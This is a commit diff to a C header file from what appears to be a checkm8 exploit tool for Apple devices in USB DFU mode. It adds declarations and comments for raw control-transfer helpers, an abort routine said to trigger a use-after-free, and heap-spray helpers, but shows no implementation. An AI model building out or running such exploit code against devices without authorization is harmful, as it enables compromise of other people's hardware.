Sync worktree updates into main repo folder

This commit is contained in:
Apocrypha12 2026-08-01 17:06:56 -08:00
parent bc1a502c1d
commit c4d2b5d9d1
21 changed files with 1565 additions and 347 deletions

View file

@ -28,7 +28,7 @@
#define MAX_EXPLOIT_TRIES 3
#define STAGE_DELAY_USEC 10000 /* 10 ms */
#define USB_RECONNECT_DELAY_USEC 2000000 /* 2 s: wait for device reset between retries */
#define USB_RECONNECT_DELAY_USEC 8000000 /* 8 s: device reboot after exploit */
#define STALL_TIMEOUT_MS 1 /* 1 ms async stall */
#define USB_TIMEOUT_MS 5000
@ -205,6 +205,44 @@ int usb_ctrl_transfer_async_ret(libusb_device_handle *dev,
uint16_t wLength,
unsigned int timeout_ms);
/*
* Raw control transfer helpers for exploit timing-critical requests.
* Unlike util/usb_helpers.c these do not retry PIPE/STALL responses,
* because those responses are part of checkm8's signaling path.
*/
int usb_ctrl_transfer_raw(libusb_device_handle *dev,
uint8_t bmRequestType,
uint8_t bRequest,
uint16_t wValue,
uint16_t wIndex,
unsigned char *data,
uint16_t wLength,
unsigned int timeout_ms);
int usb_ctrl_transfer_no_data_raw(libusb_device_handle *dev,
uint8_t bmRequestType,
uint8_t bRequest,
uint16_t wValue,
uint16_t wIndex,
unsigned int timeout_ms);
/*
* usb_ctrl_transfer_dnload_abort -- Async DFU_DNLOAD with proper cancel.
*
* Used only by checkm8_stage_setup (stage 2) to trigger the UAF.
* Submits an async transfer, waits abort_ms, then calls cancel_transfer.
* The transfer has a 200ms hard timeout so it always completes cleanly.
* Returns 0 if aborted (UAF condition), >0 if STATUS received first, -1 on error.
*/
int usb_ctrl_transfer_dnload_abort(libusb_device_handle *dev,
uint8_t bmRequestType,
uint8_t bRequest,
uint16_t wValue,
uint16_t wIndex,
unsigned char *data,
uint16_t wLength,
unsigned int abort_ms);
/* ------------------------------------------------------------------ */
/* Spray helpers (checkm8_spray.c) */
/* ------------------------------------------------------------------ */